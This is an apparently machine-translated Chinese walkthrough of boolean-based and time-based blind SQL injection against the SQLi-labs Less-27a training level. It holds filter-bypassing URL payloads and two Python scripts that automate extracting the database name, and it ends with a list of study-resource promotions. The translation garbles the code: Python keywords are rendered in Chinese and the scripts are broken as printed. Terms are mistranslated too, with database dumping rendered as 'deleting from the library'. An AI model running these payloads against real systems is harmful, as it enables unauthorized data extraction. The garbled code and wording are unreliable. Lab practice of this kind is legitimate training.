布尔盲注如何使用详解,原理+步骤+实用教程
第一步是确定注入点
如果我在地址栏中输入“?id=1\’and\’1”,页面显示正常。
如果在地址栏输入“?id=1\’and\’0”,页面异常(空)。
第2 步:确定长度
以您当前的数据库为例,假设数据库名称长度大于1,则在地址栏中输入以下内容:
?id=1\’ 和%a0
长度(
(数据库())
)1
%a0和\’1
库名称必须大于1,以确保页面正确显示并且负载可用。
测试长度从1开始依次增加,其余由脚本决定。
步骤3. 枚举字符
截取库名的第一个字符,将其转换为ASCLL代码,并判断其是否大于1。在地址栏中输入:
?id=1\’ 和%a0
ASCII (
子字符串(
(数据库())
,1,1)
)1
%a0和\’1
字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。
接下来判断字符的ASCLL码是否等于(32~126)。
确定第一个字符的内容后,按照此方法确定其余字符。为了提高效率,我们将使用稍后将枚举的脚本。
从库中删除
Python自动推理脚本如下,可以根据需要进行修改。
导入请求
# 将URL 替换为您的射击场级别URL
# 更改两个对应的payload
# 目标URL(无参数)
网址=\’http://8ad7ef14ce564257803e9f3eabade873.app.mituan.zone/Less-27a/\’
# 用于推断长度的有效负载
Payload_len=\’\’?id=1\’和%a0
长度(
(数据库())
)={n}
%a0和\’1\’\’
# 用于枚举字符的有效负载
Payload_str=\’\’?id=1\’和%a0
ASCII (
子字符串(
(数据库())
,{l},1)
)={n}
%a0和\’1\’\’
# 获取长度
def getLength(url, 有效负载):
length=1 # 初始测试长度为1
而True:
Response=request.get(url=url+payload_len.format(n=长度))
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
print(\’长度测试完成。长度为:\’, length,)
返回长度;
: 其他
print(\’测试长度:\’,length)
length +=1 # 增加测试长度
# 获取字符
def getStr(url, 负载, 长度):
str=\’\’ #初始表名/库名为空
# 在循环的第一级截取每个字符
: 表示范围(1, 长度+ 1) 内的l
# 循环的第二级枚举了截取该字符的所有可能性。
对于(33, 126): 范围内的n
响应=request.get(url=url+payload_str.format(l=l, n=n))
# print(\’猜猜\’, n)
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
字符串+=字符(n)
print(\’第\’, l, \’成功猜出第\’个字符: \’, str)
休息;
返回一个字符串。
# 开始猜测
长度=getLength(url, Payload_len)
getStr(url,payload_str,长度)
执行结果如下。
对于其他数据库删除操作,只需将下面圆圈中的位置替换为您的SQL语句即可。
常用的库删除语句见方法一末尾。
方式三:时间盲注
第一步是确定注入点
如果我在地址栏中输入“?id=1\’and\’1”,页面显示正常。
如果在地址栏输入“?id=1\’and\’0”,页面异常(空)。
第2 步:确定长度
以您当前的数据库为例,检查数据库名称的长度是否大于1。如果大于1,请在地址栏中键入以下内容:
?id=1\’ 和%a0
如果(
(长度(
(数据库())
)1)
, 睡眠(5), 3)
%a0和\’1
库名称的长度必须大于1,页面延迟为5秒以确保有效负载可用。
从1 开始,依次增加测试长度,然后使用脚本进行确定。
步骤3. 枚举字符
截取库名的第一个字符,将其转换为ASCLL代码,并检查它是否大于1。如果大于1,请在地址栏中键入以下内容:
?id=1\’ 和%0a
如果(
(ASCII(
子字符串(
(数据库())
,1,1)
)1)
, 睡眠(5), 3)
%a0和\’1
该字符的ASCLL 代码必须大于1,因此页面将延迟5 秒以确保有效负载可用。
接下来判断字符的ASCLL码是否等于(32~126)。
确定第一个字符的内容后,按照此方法确定其他字符,稍后使用脚本枚举。
从库中删除
Python自动化脚本如下,可以根据需要进行修改。
导入请求
导入时间
# 将URL 替换为您的射击场级别URL
# 更改两个对应的payload
# 目标URL(无参数)
网址=\’http://8ad7ef14ce564257803e9f3eabade873.app.mituan.zone/Less-27a/\’
# 用于推断长度的有效负载
Payload_len=\’\’?id=1\’和%a0
如果(
(长度(
(数据库())
)={n})
, 睡眠(5), 3)
%a0和\’1\’\’
# 用于枚举字符的有效负载
Payload_str=\’\’?id=1\’和%0a
如果(
(ASCII(
子字符串(
(数据库())
,{n},1)
)={r})
, 睡眠(5), 3)
%a0和\’1\’\’
# 获取长度
def getLength(url, 有效负载):
length=1 # 初始测试长度为1
而True:
开始时间=时间.time()
Response=request.get(url=url+payload_len.format(n=长度))
# 页面响应时间=执行结束时间-执行开始时间
use_time=time.time() – 开始时间
# 响应时间为5秒表示猜测成功。
使用时间5:
print(\’长度测试完成。长度为:\’, length,)
返回长度;
: 其他
print(\’测试长度:\’,length)
length +=1 # 增加测试长度
# 获取字符
def getStr(url, 负载, 长度):
str=\’\’ #初始表名/库名为空
# 在循环的第一级截取每个字符
: 表示范围(1, 长度+ 1) 内的l
# 循环的第二级枚举了截取该字符的所有可能性。
对于(33, 126): 范围内的n
开始时间=时间.time()
响应=request.get(url=url+payload_str.format(n=l, r=n))
# 页面响应时间=执行结束时间-执行开始时间
use_time=time.time() – 开始时间
# 如果页面上存在该内容则表示成功。
使用时间5:
字符串+=字符(n)
print(\’第\’, l, \’成功猜出第\’个字符: \’, str)
休息;
返回一个字符串。
# 开始猜测
长度=getLength(url, Payload_len)
getStr(url,payload_str,长度)
执行结果如下。
对于其他数据库删除操作,只需将下面圆圈中的位置替换为您的SQL语句即可。
常用的数据库删除语句见方法一末尾。
一、网安学习成长路线图
将网络安全各个方向的技术点归纳为各个领域知识点的总结,方便按照以上知识点找到对应的学习资源,进行更全面的学习。
二、网安视频合集
观看零基础学习视频观看视频很容易上手,按照视频中老师的思路从基础到细节。
三、精品网安学习书籍
当基础知识学到一定程度,有了一定的理解程度后,就可以看前辈编的书或者手写的笔记。这些注释提供了比较独特的理解。我有不同的思考方式。
四、网络安全源码合集+工具包
光学理论是没有用的,所以你必须进行相应的练习,才能将所学的知识运用到实践中。
五、网络安全面试题
最后是大家最关心的一段网络安全面试题。
以上#SQLi LABS Less 27a Joint Injection + Boolean Blind Injection + Time Blind Injection_sqli相关内容来源网络,仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92144.html